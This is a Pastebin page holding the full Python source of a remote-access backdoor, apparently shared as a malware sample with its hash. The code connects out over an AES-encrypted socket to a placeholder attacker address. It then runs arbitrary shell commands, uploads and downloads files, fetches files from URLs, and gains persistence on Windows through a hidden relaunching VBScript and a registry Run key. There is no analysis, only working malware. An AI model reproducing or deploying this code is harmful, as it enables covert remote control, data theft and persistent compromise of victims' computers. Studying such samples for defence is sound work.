API tools faq
paste
Kurobeats

ghost bin backdoor

Kurobeats
Mar 8th, 2018
525
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.76 KB | None | 0 0
raw download clone embed print report
  1. ## uploaded by @JohnLaTwC
  2. ## Sample hash: f537610a1eb747396f2faca248321d3de00e000ebbf3ed6544628c16381fd454
  3. #!/usr/bin/python
  4.  
  5. from Crypto.Cipher import AES
  6. import subprocess, socket, base64, time, os, sys, urllib2, pythoncom  
  7.  
  8. # the block size for the cipher object; must be 16, 24, or 32 for AES
  9. BLOCK_SIZE = 32
  10.  
  11. # one-liners to encrypt/encode and decrypt/decode a string
  12. # encrypt with AES, encode with base64
  13. EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
  14. DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
  15.  
  16. # generate a random secret key
  17. secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
  18.  
  19. # server config
  20. HOST = 'Your.IP.Address.Here'
  21. PORT = 6000
  22.  
  23. # session controller
  24. active = False
  25.  
  26. # Functions
  27. ###########
  28.  
  29. # send data function
  30. def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
  31.     sock.sendall(EncodeAES(cipher, cmd + end))
  32.    
  33. # receive data function
  34. def Receive(sock, end="EOFEOFEOFEOFEOFX"):
  35.     data = ""
  36.     l = sock.recv(1024)
  37.     while(l):
  38.         decrypted = DecodeAES(cipher, l)
  39.         data = data + decrypted
  40.         if data.endswith(end) == True:
  41.             break
  42.         else:
  43.             l = sock.recv(1024)
  44.     return data[:-len(end)]
  45.  
  46. # prompt function
  47. def Prompt(sock, promptmsg):
  48.     Send(sock, promptmsg)
  49.     answer = Receive(sock)
  50.     return answer
  51.  
  52. # upload file
  53. def Upload(sock, filename):
  54.     bgtr = True
  55.     # file transfer
  56.     try:
  57.         f = open(filename, 'rb')
  58.         while 1:
  59.             fileData = f.read()
  60.             if fileData == '': break
  61.             # begin sending file
  62.             Send(sock, fileData, "")
  63.         f.close()
  64.     except:
  65.         time.sleep(0.1)
  66.     # let server know we're done..
  67.     time.sleep(0.8)
  68.     Send(sock, "")
  69.     time.sleep(0.8)
  70.     return "Finished download."
  71.    
  72. # download file
  73. def Download(sock, filename):
  74.     # file transfer
  75.     g = open(filename, 'wb')
  76.     # download file
  77.     fileData = Receive(sock)
  78.     time.sleep(0.8)
  79.     g.write(fileData)
  80.     g.close()
  81.     # let server know we're done..
  82.     return "Finished upload."
  83.  
  84. # download from url (unencrypted)
  85. def Downhttp(sock, url):
  86.     # get filename from url
  87.     filename = url.split('/')[-1].split('#')[0].split('?')[0]
  88.     g = open(filename, 'wb')
  89.     # download file
  90.     u = urllib2.urlopen(url)
  91.     g.write(u.read())
  92.     g.close()
  93.     # let server know we're done...
  94.     return "Finished download."
  95.    
  96.  
  97.            
  98. # persistence
  99. def Persist(sock, redown=None, newdir=None):
  100.  
  101.     # Windows/NT Methods
  102.     if os.name == 'nt':
  103.        
  104.             # fetch executable's location
  105.             exedir = os.path.join(sys.path[0], sys.argv[0])
  106.             exeown = exedir.split('\\')[-1]
  107.            
  108.             # get vbscript location
  109.             vbsdir = os.getcwd() + '\\' + 'vbscript.vbs'
  110.            
  111.             # write VBS script
  112.             if redown == None: vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nWhile state = 1\nexist = ReportFileStatus(wshname)\nIf exist = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nElse\nWshShell.Run """' + exedir + '""",hidden\nwscript.sleep 50000\nEnd If\nvFound = False\nElse\nwscript.sleep 50000\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\n'
  113.             else:
  114.                 if newdir == None:
  115.                     newdir = exedir
  116.                     newexe = exeown
  117.                 else:
  118.                     newexe = newdir.split('\\')[-1]
  119.                 vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nurlname = "' + redown + '"\ndirname = "' + newdir + '"\nWhile state = 1\nexist1 = ReportFileStatus(wshname)\nexist2 = ReportFileStatus(dirname)\nIf exist1 = False And exist2 = False then\ndownload urlname, dirname\nEnd If\nIf exist1 = True Or exist2 = True then\nif exist1 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nexist2 = False\nend if\nif exist2 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(dirname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" OR objProcess.name = "' + newexe + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nEnd If\nIf vFound = False then\nIf exist1 = True then\nWshShell.Run """' + exedir + '""",hidden\nEnd If\nIf exist2 = True then\nWshShell.Run """' + dirname + '""",hidden\nEnd If\nwscript.sleep 50000\nEnd If\nvFound = False\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\nfunction download(sFileURL, sLocation)\nSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")\nobjXMLHTTP.open "GET", sFileURL, false\nobjXMLHTTP.send()\ndo until objXMLHTTP.Status = 200 :  wscript.sleep(1000) :  loop\nIf objXMLHTTP.Status = 200 Then\nSet objADOStream = CreateObject("ADODB.Stream")\nobjADOStream.Open\nobjADOStream.Type = 1\nobjADOStream.Write objXMLHTTP.ResponseBody\nobjADOStream.Position = 0\nSet objFSO = Createobject("Scripting.FileSystemObject")\nIf objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation\nSet objFSO = Nothing\nobjADOStream.SaveToFile sLocation\nobjADOStream.Close\nSet objADOStream = Nothing\nEnd if\nSet objXMLHTTP = Nothing\nEnd function\n'
  120.            
  121.             # open file & write
  122.             vbs = open('vbscript.vbs', 'wb')
  123.             vbs.write(vbscript)
  124.             vbs.close()
  125.            
  126.             # add registry to startup
  127.             persist = Exec('reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v blah /t REG_SZ /d "' + vbsdir + '"')
  128.             persist += '\nPersistence complete.\n'
  129.             return persist
  130.            
  131. # execute command
  132. def Exec(cmde):
  133.     # check if command exists
  134.     if cmde:
  135.         execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  136.         cmdoutput = execproc.stdout.read() + execproc.stderr.read()
  137.         return cmdoutput
  138.        
  139.     # otherwise, return
  140.     else:
  141.         return "Enter a command.\n"
  142.    
  143.        
  144. # main loop
  145. while True:
  146.     try:
  147.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  148.         s.connect((HOST, PORT))
  149.          
  150.         # create a cipher object using the random secret
  151.         cipher = AES.new(secret,AES.MODE_CFB,'0000000000000000')
  152.  
  153.         # waiting to be activated...
  154.         data = Receive(s)
  155.    
  156.         # activate.
  157.         if data == 'Activate':
  158.             active = True
  159.             Send(s, "\n"+os.getcwd()+">")
  160.        
  161.         # interactive loop
  162.         while active:
  163.            
  164.             # Receive data
  165.             data = Receive(s)
  166.  
  167.             # think before you type smartass
  168.             if data == '':
  169.                 time.sleep(0.02)
  170.            
  171.             # check for quit
  172.             if data == "quit" or data == "terminate":
  173.                 Send(s, "quitted")
  174.                 break
  175.                
  176.             # check for change directory
  177.             elif data.startswith("cd ") == True:
  178.                 try:
  179.                     os.chdir(data[3:])
  180.                     stdoutput = ""
  181.                 except:
  182.                     stdoutput = "Error opening directory.\n"
  183.                
  184.             # check for download
  185.             elif data.startswith("download") == True:
  186.                 # Upload the file
  187.                 stdoutput = Upload(s, data[9:])
  188.            
  189.             elif data.startswith("downhttp") == True:
  190.                 # Download from url
  191.                 stdoutput = Downhttp(s, data[9:])
  192.  
  193.             # check for upload
  194.             elif data.startswith("upload") == True:
  195.                 # Download the file
  196.                 stdoutput = Download(s, data[7:])
  197.                
  198.             elif data.startswith("persist") == True:
  199.                 # Attempt persistence
  200.                 if len(data.split(' ')) == 1: stdoutput = Persist(s)
  201.                 elif len(data.split(' ')) == 2: stdoutput = Persist(s, data.split(' ')[1])
  202.                 elif len(data.split(' ')) == 3: stdoutput = Persist(s, data.split(' ')[1], data.split(' ')[2])
  203.            
  204.                    
  205.             else:
  206.                 # execute command.
  207.                 stdoutput = Exec(data)
  208.                
  209.             # send data
  210.             stdoutput = stdoutput+"\n"+os.getcwd()+">"
  211.             Send(s, stdoutput)
  212.            
  213.         # loop ends here
  214.        
  215.         if data == "terminate":
  216.             break
  217.         time.sleep(3)
  218.     except socket.error:
  219.         s.close()
  220.         time.sleep(10)
  221.         continue
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!